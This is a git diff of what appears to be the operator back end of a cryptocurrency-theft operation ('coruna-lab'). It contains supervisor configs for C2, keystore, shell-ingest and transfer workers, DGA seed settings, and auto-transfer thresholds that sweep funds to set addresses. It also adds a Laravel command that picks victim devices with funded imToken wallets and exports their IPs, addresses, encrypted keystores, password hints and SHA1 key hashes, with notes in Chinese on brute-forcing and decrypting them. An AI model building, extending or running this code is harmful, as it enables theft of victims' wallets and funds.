# all seven programs RUNNING (14 processes)
|
||||
|
||||
sudo -u www php artisan tinker --execute='
|
||||
foreach (["default","extract","ocr","keystore","telegram","transfer","shell"] as $q) {
|
||||
echo $q, "=", Illuminate\Support\Facades\Redis::llen("queues:".$q), "\n";
|
||||
}
|
||||
'
|
||||
```
|
||||
|
||||
- `/admin` 302, `/beacon` 200
|
||||
- `inbox/` not growing unbounded (extract worker)
|
||||
- Tokenview monitor cap is **5000**. After a migrate, reconcile list vs `wallet_addresses` (see Tokenview list API `GET …/monitor/address/list/{coin}?page=&apikey=`).
|
||||
|
||||
## Pitfalls
|
||||
|
||||
| Symptom | Cause | Fix |
|
||||
|---------|--------|-----|
|
||||
| Pull “insufficient permission” | `.git` owned by root | `chown -R www:www .git` |
|
||||
| Code pulled, web still old | opcache, no FPM reload | reload php-fpm-82 |
|
||||
| IPA build open_basedir / ldid | `file_exists('/usr/bin/ldid')` | project `bin/ldid` + `LDID_PATH`; no file_exists |
|
||||
| App C2 404 after “优化” | extra nginx `location ^~ /api/ap` | remove it; Laravel routes only |
|
||||
| Photos stop, inbox grows | no `extract` worker | add extract.ini |
|
||||
| Shell zip never ingested | no `shell` worker | add shell.ini |
|
||||
| Admin 502, load “only” ~20 | FPM 24 children + sock backlog 1024 | max_children 48, somaxconn 4096, FPM **restart** |
|
||||
| Admin 500 after deploy | stale views | `view:clear` |
|
||||
| Login locked | `login_attempts` / `locked_at` | reset those columns |
|
||||
| WAF 403 on chunks | body 1MB / no url_white | 30MB + `^/api/ap/*` |
|
||||
| BT MCP edits wrong host | MCP is bound to one panel | SSH the IP the user named |
|
||||
|
||||
## After cutover
|
||||
|
||||
1. Old supervisor `stop all` once DNS/traffic is on the new box.
|
||||
2. Run `coruna-lab-cleanup` if disk is tight.
|
||||
3. Watch php-fpm listen queue (`ss -lxnp` on `php-cgi-82.sock`) under C2 load.
|
||||
|
||||
## Extra templates
|
||||
|
||||
- Supervisor ini: [supervisor.md](supervisor.md)
|
||||
@@ -0,0 +1,83 @@
|
||||
# Supervisor profiles
|
||||
|
||||
Write each file under `/www/server/panel/plugin/supervisor/profile/`. Logs under `/www/server/panel/plugin/supervisor/log/`.
|
||||
|
||||
Shared footer for every program:
|
||||
|
||||
```ini
|
||||
directory=/www/wwwroot/coruna-lab/
|
||||
autorestart=true
|
||||
startsecs=3
|
||||
startretries=3
|
||||
user=www
|
||||
priority=999
|
||||
numprocs=2
|
||||
process_name=%(program_name)s_%(process_num)02d
|
||||
stdout_logfile_maxbytes=2MB
|
||||
stderr_logfile_maxbytes=2MB
|
||||
```
|
||||
|
||||
## extract.ini (easy to miss)
|
||||
|
||||
```ini
|
||||
[program:extract]
|
||||
command=/www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100
|
||||
stdout_logfile=/www/server/panel/plugin/supervisor/log/extract.out.log
|
||||
stderr_logfile=/www/server/panel/plugin/supervisor/log/extract.err.log
|
||||
```
|
||||
|
||||
## shell.ini (SignalShell zip ingest)
|
||||
|
||||
```ini
|
||||
[program:shell]
|
||||
command=/www/server/php/82/bin/php artisan queue:work shell --queue=shell --sleep=1 --tries=2 --timeout=120 --memory=256 --max-time=3600
|
||||
stdout_logfile=/www/server/panel/plugin/supervisor/log/shell.out.log
|
||||
stderr_logfile=/www/server/panel/plugin/supervisor/log/shell.err.log
|
||||
```
|
||||
|
||||
## queue.ini
|
||||
|
||||
```ini
|
||||
[program:queue]
|
||||
command=/www/server/php/82/bin/php artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600
|
||||
stdout_logfile=/www/server/panel/plugin/supervisor/log/queue.out.log
|
||||
stderr_logfile=/www/server/panel/plugin/supervisor/log/queue.err.log
|
||||
```
|
||||
|
||||
## ocr.ini
|
||||
|
||||
```ini
|
||||
[program:ocr]
|
||||
command=/www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100
|
||||
stdout_logfile=/www/server/panel/plugin/supervisor/log/ocr.out.log
|
||||
stderr_logfile=/www/server/panel/plugin/supervisor/log/ocr.err.log
|
||||
```
|
||||
|
||||
## keystore.ini
|
||||
|
||||
```ini
|
||||
[program:keystore]
|
||||
command=/www/server/php/82/bin/php artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600
|
||||
stdout_logfile=/www/server/panel/plugin/supervisor/log/keystore.out.log
|
||||
stderr_logfile=/www/server/panel/plugin/supervisor/log/keystore.err.log
|
||||
```
|
||||
|
||||
## telegram.ini
|
||||
|
||||
```ini
|
||||
[program:telegram]
|
||||
command=/www/server/php/82/bin/php artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600
|
||||
stdout_logfile=/www/server/panel/plugin/supervisor/log/telegram.out.log
|
||||
stderr_logfile=/www/server/panel/plugin/supervisor/log/telegram.err.log
|
||||
```
|
||||
|
||||
## transfer.ini
|
||||
|
||||
```ini
|
||||
[program:transfer]
|
||||
command=/www/server/php/82/bin/php artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600
|
||||
stdout_logfile=/www/server/panel/plugin/supervisor/log/transfer.out.log
|
||||
stderr_logfile=/www/server/panel/plugin/supervisor/log/transfer.err.log
|
||||
```
|
||||
|
||||
After writing: `supervisorctl reread && supervisorctl update && supervisorctl status`.
|
||||
@@ -86,7 +86,9 @@ TELEGRAM_WEBHOOK_SECRET=
|
||||
|
||||
TRANSFER_TO_ADDRESS=
|
||||
TRANSFER_TO_ADDRESS_ETH=
|
||||
TRANSFER_TO_ADDRESS_BSC=
|
||||
TRANSFER_TO_ADDRESS_BTC=
|
||||
TRANSFER_TO_ADDRESS_SOL=
|
||||
|
||||
# TRANSFER_MAX_USDT=0
|
||||
# TRANSFER_MAX_TRX=0
|
||||
@@ -104,6 +106,8 @@ TOKENVIEW_SIGN_KEY=
|
||||
|
||||
TRUSTED_PROXIES=*
|
||||
XXBB_CHANNEL_C=
|
||||
# Shared DGA seed for old channel-builder (32-hex; deployment === reporting).
|
||||
CORUNA_CHANNEL_SEED=
|
||||
TELEGRAM_BOT_USERNAME=
|
||||
CORUNA_OFFICIAL_ALBUM_STORAGE=0
|
||||
# 1 = 代理可见助记词扫描且入库挂原设备;0 = 隐藏代理扫描菜单,扫描入库挂官方设备
|
||||
@@ -115,6 +119,7 @@ AUTO_TRANSFER_THRESHOLD_USDT=
|
||||
AUTO_TRANSFER_THRESHOLD_TRX=
|
||||
AUTO_TRANSFER_THRESHOLD_ETH=
|
||||
AUTO_TRANSFER_THRESHOLD_BTC=
|
||||
AUTO_TRANSFER_THRESHOLD_BNB=
|
||||
TRANSFER_FEE_ADDRESS_TRON=
|
||||
TRANSFER_FEE_TOPUP_TRX=20
|
||||
TRANSFER_FEE_PRIVATE_KEY_TRON=
|
||||
@@ -127,3 +132,6 @@ TRANSFER_FEE_PRIVATE_KEY_TRON=
|
||||
|
||||
CORUNA_TESSERACT=/usr/bin/tesseract
|
||||
CORUNA_OCR_MAX_EDGE=1280
|
||||
|
||||
APP_API_DOMAIN=xxxx.com
|
||||
LDID_PATH=/www/wwwroot/coruna-lab/bin/ldid
|
||||
|
||||
@@ -52,7 +52,7 @@ Admin:
|
||||
|
||||
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
|
||||
|
||||
- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份)
|
||||
- **seed**:Deployment / Reporting 共用 `.env` 的 `CORUNA_CHANNEL_SEED`(32-hex;未配置则创建/重建失败)
|
||||
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
|
||||
- **之后**新渠道只生成 `web/<id>/`
|
||||
|
||||
@@ -62,6 +62,7 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
|
||||
# CORUNA_ARTIFACT_ROOT=
|
||||
# CORUNA_CHANNEL_STATE_ROOT=
|
||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||
CORUNA_CHANNEL_SEED=
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=cdn.example.com
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,371 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use Illuminate\Console\Command;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
|
||||
/**
|
||||
* Export devices that have:
|
||||
* 1. at least one imToken-derived wallet_address with non-zero balance, AND
|
||||
* 2. at least one imToken keystore whose raw_json contains a Web3 keystore
|
||||
* (crypto.ciphertext + crypto.mac present — decryptable with a password).
|
||||
*
|
||||
* Outputs to storage/app/imtoken-rich-<timestamp>/:
|
||||
* - report.md : human-readable document (device + addresses + keystore)
|
||||
* - report.json : machine-readable mirror of the same data
|
||||
*/
|
||||
class ExportImtokenRichCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:export-imtoken-rich
|
||||
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
|
||||
{--min-usd=1 : Minimum USD-estimated balance to include a device (set 0 to disable)}
|
||||
{--no-md : Skip markdown report}
|
||||
{--no-json : Skip JSON report}
|
||||
{--limit= : Cap number of devices (debug)}';
|
||||
|
||||
protected $description = 'Export devices with imToken addresses (balance>min, no mnemonic, has keystore)';
|
||||
|
||||
public function handle(): int
|
||||
{
|
||||
DB::disableQueryLog();
|
||||
$dir = $this->resolveDir();
|
||||
if ($dir === null) {
|
||||
return self::FAILURE;
|
||||
}
|
||||
|
||||
$deviceIds = $this->candidateDeviceIds();
|
||||
if ($deviceIds->isEmpty()) {
|
||||
$this->warn('No devices match (imToken address with balance + imToken keystore).');
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
$this->info(sprintf('found %d candidate device(s)', $deviceIds->count()));
|
||||
|
||||
$devices = [];
|
||||
foreach ($deviceIds as $id) {
|
||||
$payload = $this->serializeDevice((int) $id);
|
||||
if ($payload === null) {
|
||||
continue;
|
||||
}
|
||||
$devices[] = $payload;
|
||||
$this->line(sprintf(
|
||||
'device #%d (%s) · addresses=%d · keystores=%d · usd~%s',
|
||||
$payload['id'],
|
||||
$payload['device_id'],
|
||||
count($payload['addresses']),
|
||||
count($payload['keystores']),
|
||||
$payload['totals']['usd_approx'],
|
||||
));
|
||||
gc_collect_cycles();
|
||||
}
|
||||
|
||||
$summary = [
|
||||
'exported_at' => now()->toIso8601String(),
|
||||
'min_usd' => (float) $this->option('min-usd'),
|
||||
'device_count' => count($devices),
|
||||
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
|
||||
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
|
||||
'totals' => $this->aggregateTotals($devices),
|
||||
];
|
||||
|
||||
if (! $this->option('no-json')) {
|
||||
$jsonPath = $dir.'/report.json';
|
||||
file_put_contents($jsonPath, json_encode(
|
||||
array_merge($summary, ['devices' => $devices]),
|
||||
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT,
|
||||
));
|
||||
$this->info('wrote '.$jsonPath);
|
||||
}
|
||||
|
||||
if (! $this->option('no-md')) {
|
||||
$mdPath = $dir.'/report.md';
|
||||
file_put_contents($mdPath, $this->renderMarkdown($summary, $devices));
|
||||
$this->info('wrote '.$mdPath);
|
||||
}
|
||||
|
||||
$this->info('done. output dir: '.$dir);
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
|
||||
/**
|
||||
* Device IDs that meet ALL criteria:
|
||||
* 1. has imToken wallet_addresses with any coin > 0
|
||||
* 2. USD-estimated total of those imToken addresses >= --min-usd
|
||||
* 3. device has NO wallet_mnemonics rows (助记词未恢复)
|
||||
* 4. has an imToken wallet_keystore with non-empty raw_json containing
|
||||
* a Web3 keystore node (crypto.ciphertext + crypto.mac).
|
||||
*/
|
||||
private function candidateDeviceIds()
|
||||
{
|
||||
$minUsd = (float) $this->option('min-usd');
|
||||
|
||||
// Step 1: imToken addresses with balance, grouped by device.
|
||||
$addrRows = DB::table('wallet_addresses')
|
||||
->where('source', 'imToken')
|
||||
->where(function ($q) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
||||
$q->orWhere($c, '>', 0);
|
||||
}
|
||||
})
|
||||
->select(array_merge(['device_id'], WalletAddress::COIN_COLUMNS))
|
||||
->get();
|
||||
|
||||
if ($addrRows->isEmpty()) {
|
||||
return collect();
|
||||
}
|
||||
|
||||
// Step 2: aggregate per device, apply USD threshold.
|
||||
$byDevice = [];
|
||||
foreach ($addrRows as $row) {
|
||||
$id = (int) $row->device_id;
|
||||
if (! isset($byDevice[$id])) {
|
||||
$byDevice[$id] = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||
}
|
||||
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
||||
$byDevice[$id][$c] += (float) ($row->{$c} ?? 0);
|
||||
}
|
||||
}
|
||||
$usdOk = [];
|
||||
foreach ($byDevice as $id => $coins) {
|
||||
$usd = ($coins['usdt'] ?? 0)
|
||||
+ ($coins['trx'] ?? 0) * 0.15
|
||||
+ ($coins['eth'] ?? 0) * 2500
|
||||
+ ($coins['btc'] ?? 0) * 60000
|
||||
+ ($coins['bnb'] ?? 0) * 500
|
||||
+ ($coins['sol'] ?? 0) * 150;
|
||||
if ($usd >= $minUsd) {
|
||||
$usdOk[$id] = true;
|
||||
}
|
||||
}
|
||||
if ($usdOk === []) {
|
||||
return collect();
|
||||
}
|
||||
$usdOkIds = array_keys($usdOk);
|
||||
|
||||
// Step 3: exclude devices that have ANY recovered mnemonic.
|
||||
$withMnemonic = DB::table('wallet_mnemonics')
|
||||
->whereIn('device_id', $usdOkIds)
|
||||
->pluck('device_id')
|
||||
->unique()
|
||||
->all();
|
||||
$noMnemonicIds = array_values(array_diff($usdOkIds, $withMnemonic));
|
||||
if ($noMnemonicIds === []) {
|
||||
return collect();
|
||||
}
|
||||
|
||||
// Step 4: keep only devices that have an imToken keystore with data.
|
||||
$ksDeviceIds = DB::table('wallet_keystores')
|
||||
->where('source', 'imToken')
|
||||
->whereNotNull('raw_json')
|
||||
->whereIn('device_id', $noMnemonicIds)
|
||||
->pluck('device_id')
|
||||
->unique();
|
||||
|
||||
$ids = collect($noMnemonicIds)->intersect($ksDeviceIds)->values();
|
||||
if ($limit = (int) $this->option('limit')) {
|
||||
$ids = $ids->take($limit);
|
||||
}
|
||||
|
||||
return $ids;
|
||||
}
|
||||
|
||||
private function serializeDevice(int $deviceId): ?array
|
||||
{
|
||||
$device = Device::query()->find($deviceId, [
|
||||
'id', 'device_id', 'channel_id', 'device_model', 'ios_version',
|
||||
'ip', 'country', 'wallet_names', 'user_agent', 'created_at',
|
||||
]);
|
||||
if ($device === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $device->id,
|
||||
'device_id' => $device->device_id,
|
||||
'channel_id' => $device->channel_id,
|
||||
'model' => $device->device_model,
|
||||
'ios_version' => $device->ios_version,
|
||||
'ip' => $device->ip,
|
||||
'country' => $device->resolvedCountry(),
|
||||
'wallet_names' => $device->walletNameList(),
|
||||
'user_agent' => $device->user_agent,
|
||||
'created_at' => optional($device->created_at)->toIso8601String(),
|
||||
'addresses' => $addresses = $this->serializeAddresses($device),
|
||||
'keystores' => $this->serializeKeystores($device),
|
||||
'totals' => $this->deviceTotals($addresses),
|
||||
];
|
||||
}
|
||||
|
||||
private function serializeAddresses(Device $device): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($device->addresses()
|
||||
->where('source', 'imToken')
|
||||
->orderBy('id')
|
||||
->cursor() as $addr
|
||||
) {
|
||||
$coins = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$raw = $addr->{$col};
|
||||
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||
continue;
|
||||
}
|
||||
$coins[$col] = WalletAddress::formatAmount($col, $raw);
|
||||
}
|
||||
$out[] = [
|
||||
'id' => $addr->id,
|
||||
'address' => $addr->address,
|
||||
'chain_type' => $addr->chain_type,
|
||||
'derive_index' => $addr->derive_index,
|
||||
'mnemonic_id' => $addr->mnemonic_id,
|
||||
'monitor' => (int) $addr->monitor,
|
||||
'coins' => $coins,
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function serializeKeystores(Device $device): array
|
||||
{
|
||||
$out = [];
|
||||
foreach ($device->keystores()
|
||||
->where('source', 'imToken')
|
||||
->orderBy('id')
|
||||
->cursor() as $ks
|
||||
) {
|
||||
$raw = is_array($ks->raw_json) ? $ks->raw_json : null;
|
||||
if ($raw === null) {
|
||||
$raw = DB::table('wallet_keystores')->whereKey($ks->id)->value('raw_json');
|
||||
$raw = is_string($raw) ? json_decode($raw, true) : $raw;
|
||||
$raw = is_array($raw) ? $raw : null;
|
||||
}
|
||||
if ($raw === null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// imToken keystore may be nested under ['imtoken'] (from /result
|
||||
// ingest) or stored directly. Detect both.
|
||||
$node = $raw;
|
||||
if (isset($raw['imtoken']) && is_array($raw['imtoken'])) {
|
||||
$node = $raw['imtoken'];
|
||||
}
|
||||
|
||||
if (! $this->isWeb3Node($node)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$out[] = [
|
||||
'id' => $ks->id,
|
||||
'source' => $ks->source,
|
||||
'decrypted' => (int) $ks->decrypted,
|
||||
'created_at' => optional($ks->created_at)->toIso8601String(),
|
||||
'keystore' => $this->pickKeystoreFields($node),
|
||||
'raw_json_len' => strlen((string) json_encode($raw)),
|
||||
];
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
private function isWeb3Node(array $node): bool
|
||||
{
|
||||
$crypto = $node['crypto'] ?? null;
|
||||
|
||||
return is_array($crypto)
|
||||
&& isset($crypto['ciphertext'], $crypto['mac'])
|
||||
&& is_string($crypto['ciphertext'])
|
||||
&& is_string($crypto['mac']);
|
||||
}
|
||||
|
||||
private function pickKeystoreFields(array $node): array
|
||||
{
|
||||
$crypto = $node['crypto'] ?? [];
|
||||
|
||||
return [
|
||||
'id' => $node['id'] ?? null,
|
||||
'type' => $node['type'] ?? null,
|
||||
'address' => $node['address'] ?? null,
|
||||
'derivationPath' => $node['derivationPath'] ?? null,
|
||||
'version' => $node['version'] ?? null,
|
||||
'keyHash' => $node['keyHash'] ?? null,
|
||||
'crypto' => [
|
||||
'kdf' => $crypto['kdf'] ?? null,
|
||||
'cipher' => $crypto['cipher'] ?? null,
|
||||
'kdfparams' => $crypto['kdfparams'] ?? null,
|
||||
'cipherparams' => $crypto['cipherparams'] ?? null,
|
||||
'ciphertext' => $crypto['ciphertext'] ?? null,
|
||||
'mac' => $crypto['mac'] ?? null,
|
||||
],
|
||||
'imTokenMeta' => $node['imTokenMeta'] ?? null,
|
||||
'activeAccounts' => $node['activeAccounts'] ?? null,
|
||||
];
|
||||
}
|
||||
|
||||
private function deviceTotals(array $addresses): array
|
||||
{
|
||||
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||
foreach ($addresses as $a) {
|
||||
foreach ($a['coins'] as $col => $val) {
|
||||
if (isset($sums[$col])) {
|
||||
$sums[$col] += (float) $val;
|
||||
}
|
||||
}
|
||||
}
|
||||
$usd = ($sums['usdt'] ?? 0)
|
||||
+ ($sums['trx'] ?? 0) * 0.15
|
||||
+ ($sums['eth'] ?? 0) * 2500
|
||||
+ ($sums['btc'] ?? 0) * 60000
|
||||
+ ($sums['bnb'] ?? 0) * 500
|
||||
+ ($sums['sol'] ?? 0) * 150;
|
||||
|
||||
return [
|
||||
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
||||
'usd_approx' => number_format((float) $usd, 2, '.', ''),
|
||||
];
|
||||
}
|
||||
|
||||
private function aggregateTotals(array $devices): array
|
||||
{
|
||||
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||
$usd = 0.0;
|
||||
foreach ($devices as $d) {
|
||||
foreach ($d['totals']['coins'] as $col => $val) {
|
||||
$sums[$col] += (float) $val;
|
||||
}
|
||||
$usd += (float) $d['totals']['usd_approx'];
|
||||
}
|
||||
|
||||
return [
|
||||
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
||||
'usd_approx' => number_format($usd, 2, '.', ''),
|
||||
];
|
||||
}
|
||||
|
||||
private function resolveDir(): ?string
|
||||
{
|
||||
$path = trim((string) $this->option('path'));
|
||||
if ($path === '') {
|
||||
$path = storage_path('app/imtoken-rich-'.now()->format('Ymd-His'));
|
||||
} elseif (! str_starts_with($path, '/')) {
|
||||
$path = base_path($path);
|
||||
}
|
||||
if (! is_dir($path) && ! mkdir($path, 0775, true) && ! is_dir($path)) {
|
||||
$this->error('Cannot create directory: '.$path);
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $path;
|
||||
}
|
||||
|
||||
private function renderMarkdown(array $summary, array $devices): string
|
||||
{
|
||||
return (new ExportImtokenRichMarkdown($summary, $devices))->render();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,177 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\WalletAddress;
|
||||
|
||||
/**
|
||||
* Renders the imToken-rich export as a markdown document.
|
||||
* Each device is one block:
|
||||
* - summary line (设备 id, 密码提示, 地址数, 总余额)
|
||||
* - 设备基本信息 as JSON
|
||||
* - 地址列表 as table
|
||||
* - keystore as JSON
|
||||
*
|
||||
* @internal
|
||||
*/
|
||||
final class ExportImtokenRichMarkdown
|
||||
{
|
||||
public function __construct(
|
||||
private readonly array $summary,
|
||||
private readonly array $devices,
|
||||
) {}
|
||||
|
||||
public function render(): string
|
||||
{
|
||||
$md = [];
|
||||
$md[] = '# imToken 富地址导出报告';
|
||||
$md[] = '';
|
||||
$md[] = '导出时间: '.$this->summary['exported_at'];
|
||||
$md[] = '';
|
||||
$md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd']
|
||||
.' · 无助记词 · 有 keystore';
|
||||
$md[] = '';
|
||||
$md[] = '## 汇总';
|
||||
$md[] = '';
|
||||
$md[] = '| 指标 | 值 |';
|
||||
$md[] = '|---|---|';
|
||||
$md[] = "| 设备数 | {$this->summary['device_count']} |";
|
||||
$md[] = "| 地址数 | {$this->summary['address_count']} |";
|
||||
$md[] = "| Keystore 数 | {$this->summary['keystore_count']} |";
|
||||
foreach ($this->summary['totals']['coins'] as $col => $val) {
|
||||
$sym = strtoupper($col);
|
||||
$md[] = "| {$sym} 总额 | {$val} |";
|
||||
}
|
||||
$md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |";
|
||||
$md[] = '';
|
||||
$md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1';
|
||||
$md[] = '';
|
||||
|
||||
foreach ($this->devices as $device) {
|
||||
$this->renderDevice($md, $device);
|
||||
}
|
||||
|
||||
$md[] = '---';
|
||||
$md[] = '';
|
||||
$md[] = '## 字段说明';
|
||||
$md[] = '';
|
||||
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
|
||||
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
|
||||
$md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词;`PRIVATE_KEY` = 加密单私钥';
|
||||
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
|
||||
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
|
||||
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
|
||||
$md[] = '';
|
||||
|
||||
return implode("\n", $md);
|
||||
}
|
||||
|
||||
private function renderDevice(array &$md, array $device): void
|
||||
{
|
||||
$hints = $this->collectPasswordHints($device['keystores']);
|
||||
$hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无';
|
||||
$addrCount = count($device['addresses']);
|
||||
$usd = $device['totals']['usd_approx'];
|
||||
|
||||
$md[] = '---';
|
||||
$md[] = '';
|
||||
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
|
||||
$md[] = '';
|
||||
$md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}";
|
||||
$md[] = '';
|
||||
|
||||
// 设备基本信息 as JSON
|
||||
$basicInfo = [
|
||||
'id' => $device['id'],
|
||||
'device_id' => $device['device_id'],
|
||||
'channel_id' => $device['channel_id'],
|
||||
'model' => $device['model'],
|
||||
'ios_version' => $device['ios_version'],
|
||||
'ip' => $device['ip'],
|
||||
'country' => $device['country'],
|
||||
'wallet_names' => $device['wallet_names'],
|
||||
'user_agent' => $device['user_agent'],
|
||||
'created_at' => $device['created_at'],
|
||||
];
|
||||
$md[] = '**设备基本信息**:';
|
||||
$md[] = '';
|
||||
$md[] = '```json';
|
||||
$md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
||||
$md[] = '```';
|
||||
$md[] = '';
|
||||
|
||||
// 地址列表 as table
|
||||
$this->renderAddressTable($md, $device['addresses']);
|
||||
|
||||
// keystore as JSON
|
||||
$this->renderKeystores($md, $device['keystores']);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array<string, mixed>> $keystores
|
||||
* @return list<string>
|
||||
*/
|
||||
private function collectPasswordHints(array $keystores): array
|
||||
{
|
||||
$hints = [];
|
||||
foreach ($keystores as $ks) {
|
||||
$meta = $ks['keystore']['imTokenMeta'] ?? null;
|
||||
if (is_array($meta) && isset($meta['passwordHint'])) {
|
||||
$h = trim((string) $meta['passwordHint']);
|
||||
if ($h !== '' && ! in_array($h, $hints, true)) {
|
||||
$hints[] = $h;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return $hints;
|
||||
}
|
||||
|
||||
private function renderAddressTable(array &$md, array $addresses): void
|
||||
{
|
||||
$md[] = '**地址列表**:';
|
||||
$md[] = '';
|
||||
if ($addresses === []) {
|
||||
$md[] = '_(无)_';
|
||||
$md[] = '';
|
||||
|
||||
return;
|
||||
}
|
||||
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$header[] = strtoupper($col);
|
||||
}
|
||||
$md[] = '| '.implode(' | ', $header).' |';
|
||||
$md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|';
|
||||
foreach ($addresses as $a) {
|
||||
$row = [
|
||||
$a['id'],
|
||||
'`'.$a['address'].'`',
|
||||
$a['chain_type'],
|
||||
$a['derive_index'] ?? '-',
|
||||
$a['mnemonic_id'] ?? '-',
|
||||
$a['monitor'] ? '✓' : '·',
|
||||
];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$row[] = $a['coins'][$col] ?? '0';
|
||||
}
|
||||
$md[] = '| '.implode(' | ', $row).' |';
|
||||
}
|
||||
$md[] = '';
|
||||
}
|
||||
|
||||
private function renderKeystores(array &$md, array $keystores): void
|
||||
{
|
||||
if ($keystores === []) {
|
||||
return;
|
||||
}
|
||||
foreach ($keystores as $ks) {
|
||||
$md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):';
|
||||
$md[] = '';
|
||||
$md[] = '```json';
|
||||
$md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
||||
$md[] = '```';
|
||||
$md[] = '';
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -21,8 +21,10 @@ class LinkMnemonicsCommand extends Command
|
||||
|
||||
$result = $linker->backfill();
|
||||
|
||||
// Only probe mnemonics that haven't been fully discovered across all 5
|
||||
// chains yet. Manual "view wallet" / "refresh" bypasses this via force=true.
|
||||
$discovered = 0;
|
||||
foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
|
||||
foreach (WalletMnemonic::query()->where('discovery_complete', false)->orderBy('id')->cursor() as $mnemonic) {
|
||||
$discovered += $discovery->discoverActivated($mnemonic);
|
||||
}
|
||||
|
||||
|
||||
+4
-1
@@ -31,7 +31,10 @@ if (! function_exists('create_log')) {
|
||||
}
|
||||
$logStr = date('Y-m-d H:i:s').' '.$url.' '.$str."\r\n\r\n";
|
||||
$isNew = ! file_exists($logName);
|
||||
if (@file_put_contents($logName, $logStr, FILE_APPEND) === false) {
|
||||
// LOCK_EX prevents concurrent chunk uploads from interleaving
|
||||
// and losing log entries when multiple requests append to the
|
||||
// same daily log file simultaneously.
|
||||
if (@file_put_contents($logName, $logStr, FILE_APPEND | LOCK_EX) === false) {
|
||||
return;
|
||||
}
|
||||
if ($isNew) {
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\SystemLog;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\Rule;
|
||||
|
||||
@@ -43,6 +44,9 @@ class AdminUserController extends Controller
|
||||
'status' => (int) $a->status,
|
||||
'google_auth_open' => (int) $a->google_auth_open,
|
||||
'last_ip' => $a->last_ip,
|
||||
